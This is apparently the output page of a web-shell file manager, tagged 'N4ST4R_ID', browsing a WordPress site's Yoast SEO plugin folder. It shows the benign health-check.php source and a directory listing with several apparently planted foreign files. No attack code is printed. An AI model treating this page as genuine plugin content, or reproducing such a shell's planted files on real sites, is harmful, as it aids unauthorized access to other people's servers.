Submit
Path:
~
/
home
/
b
/
f
/
x
/
bfxleof
/
www
/
wp-content
/
plugins
/
wordpress-seo
/
inc
/
File Content:
health-check.php
<?php /** * WPSEO plugin file. * * @package WPSEO\Internals */ /** * Represents the abstract class for the health check. */ abstract class WPSEO_Health_Check { /** * The health check section in which 'good' results should be shown. * * @var string */ const STATUS_GOOD = 'good'; /** * The health check section in which 'recommended' results should be shown. * * @var string */ const STATUS_RECOMMENDED = 'recommended'; /** * The health check section in which 'critical' results should be shown. * * @var string */ const STATUS_CRITICAL = 'critical'; /** * The value of the section header in the Health check. * * @var string */ protected $label = ''; /** * Section the result should be displayed in. * * @var string */ protected $status = ''; /** * What the badge should say with a color. * * @var array */ protected $badge = [ 'label' => '', 'color' => '', ]; /** * Additional details about the results of the test. * * @var string */ protected $description = ''; /** * A link or button to allow the end user to take action on the result. * * @var string */ protected $actions = ''; /** * The name of the test. * * @var string */ protected $test = ''; /** * Whether or not the test should be ran on AJAX as well. * * @var bool True when is async, default false. */ protected $async = false; /** * Runs the test and returns the result. */ abstract public function run(); /** * Registers the test to WordPress. */ public function register_test() { if ( $this->is_async() ) { add_filter( 'site_status_tests', [ $this, 'add_async_test' ] ); add_action( 'wp_ajax_health-check-' . $this->get_test_name(), [ $this, 'get_async_test_result' ] ); return; } add_filter( 'site_status_tests', [ $this, 'add_test' ] ); } /** * Runs the test. * * @param array $tests Array with the current tests. * * @return array The extended array. */ public function add_test( $tests ) { $tests['direct'][ $this->get_test_name() ] = [ 'test' => [ $this, 'get_test_result' ], ]; return $tests; } /** * Runs the test in async mode. * * @param array $tests Array with the current tests. * * @return array The extended array. */ public function add_async_test( $tests ) { $tests['async'][ $this->get_test_name() ] = [ 'test' => $this->get_test_name(), ]; return $tests; } /** * Formats the test result as an array. * * @return array The formatted test result. */ public function get_test_result() { $this->run(); $this->add_yoast_signature(); return [ 'label' => $this->label, 'status' => $this->status, 'badge' => $this->get_badge(), 'description' => $this->description, 'actions' => $this->actions, 'test' => $this->test, ]; } /** * Formats the test result as an array. */ public function get_async_test_result() { wp_send_json_success( $this->get_test_result() ); } /** * Retrieves the badge and ensure usable values are set. * * @return array The proper formatted badge. */ protected function get_badge() { if ( ! is_array( $this->badge ) ) { $this->badge = []; } if ( empty( $this->badge['label'] ) ) { $this->badge['label'] = __( 'SEO', 'wordpress-seo' ); } if ( empty( $this->badge['color'] ) ) { $this->badge['color'] = 'green'; } return $this->badge; } /** * WordPress converts the underscores to dashes. To prevent issues we have * to do it as well. * * @return string The formatted testname. */ protected function get_test_name() { return str_replace( '_', '-', $this->test ); } /** * Checks if the health check is async. * * @return bool True when check is async. */ protected function is_async() { return ! empty( $this->async ); } /** * Adds a text to the bottom of the Site Health check to indicate it is a Yoast SEO Site Health Check. */ protected function add_yoast_signature() { $this->actions .= sprintf( /* translators: 1: Start of a paragraph beginning with the Yoast icon, 2: Expands to 'Yoast SEO', 3: Paragraph closing tag. */ esc_html__( '%1$sThis was reported by the %2$s plugin%3$s', 'wordpress-seo' ), '<p class="yoast-site-health__signature"><img src="' . esc_url( plugin_dir_url( WPSEO_FILE ) . 'packages/js/images/Yoast_SEO_Icon.svg' ) . '" alt="" height="20" width="20" class="yoast-site-health__signature-icon">', 'Yoast SEO', '</p>' ); } }
Submit
FILE
FOLDER
Name
Size
Permission
Action
exceptions
---
0755
options
---
0755
sitemaps
---
0755
.DS_Store
10234 bytes
0644
DownloadConfController.php
945 bytes
0644
JsonSerializable.php
577 bytes
0644
LimitStream.php
4209 bytes
0644
MessageInterface.php
6950 bytes
0644
article-modified-time-presenter.php
609 bytes
0644
base.php
2793 bytes
0644
class-addon-manager.php
20295 bytes
0644
class-admin-utils.php
2147 bytes
0644
class-metabox-formatter.php
12602 bytes
0644
class-my-yoast-api-request.php
4890 bytes
0644
class-plugin-availability.php
8440 bytes
0644
class-post-type.php
2833 bytes
0644
class-rewrite.php
7140 bytes
0644
class-sitemaps-admin-20260703023908.php
3665 bytes
0644
class-sitemaps-admin.php
3665 bytes
0644
class-tracking-server-data.php
1989 bytes
0644
class-upgrade-history.php
2939 bytes
0644
class-upgrade.php
36923 bytes
0644
class-wpseo-admin-bar-menu.php
19858 bytes
0644
class-wpseo-content-images.php
2613 bytes
0644
class-wpseo-custom-fields.php
1485 bytes
0644
class-wpseo-custom-taxonomies.php
1628 bytes
0644
class-wpseo-features.php
788 bytes
0644
class-wpseo-image-utils.php
13988 bytes
0644
class-wpseo-installation.php
1118 bytes
0644
class-wpseo-meta.php
36093 bytes
0644
class-wpseo-primary-term.php
1669 bytes
0644
class-wpseo-rank.php
5845 bytes
0644
class-wpseo-replace-vars.php
45562 bytes
0644
class-wpseo-replacement-variable.php
1375 bytes
0644
class-wpseo-shortlinker.php
3433 bytes
0644
class-wpseo-statistics.php
1443 bytes
0644
class-wpseo-utils.php
39644 bytes
0644
class-yoast-plugin-conflict.php
10390 bytes
0644
ctrl.package.php
17073 bytes
0644
date-helper.php
1752 bytes
0644
define.php
4567 bytes
0644
duplicator.php
1781 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260706100554.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class.php
48544 bytes
0644
exceptions.php
708 bytes
0644
health-check-curl-version.php
4584 bytes
0644
health-check-default-tagline.php
1961 bytes
0644
health-check-links-table-not-accessible.php
2312 bytes
0644
health-check-page-comments.php
1733 bytes
0644
health-check-postname-permalink.php
1775 bytes
0644
health-check-ryte.php
8457 bytes
0644
health-check.php
4522 bytes
0644
inc.data.php
5121 bytes
0644
inc.validator.php
5401 bytes
0644
index.php
38 bytes
0644
interface-wpseo-wordpress-ajax-integration.php
294 bytes
0644
interface-wpseo-wordpress-integration.php
348 bytes
0644
language-utils.php
2613 bytes
0644
loco.php
5626 bytes
0644
loco.xml
657 bytes
0644
manager.php
14659 bytes
0644
meta-fields-presenter.php
1600 bytes
0644
module.php
1297 bytes
0644
quick-edit-handler-1650.js
1848 bytes
0644
wordpress-seojs-ar.json
25925 bytes
0644
wordpress-seojs-bs_BA.json
13790 bytes
0644
wpseo-functions-deprecated.php
305 bytes
0644
wpseo-functions.php
11305 bytes
0644
wpseo-non-ajax-functions.php
1593 bytes
0644
N4ST4R_ID | Naxtarrr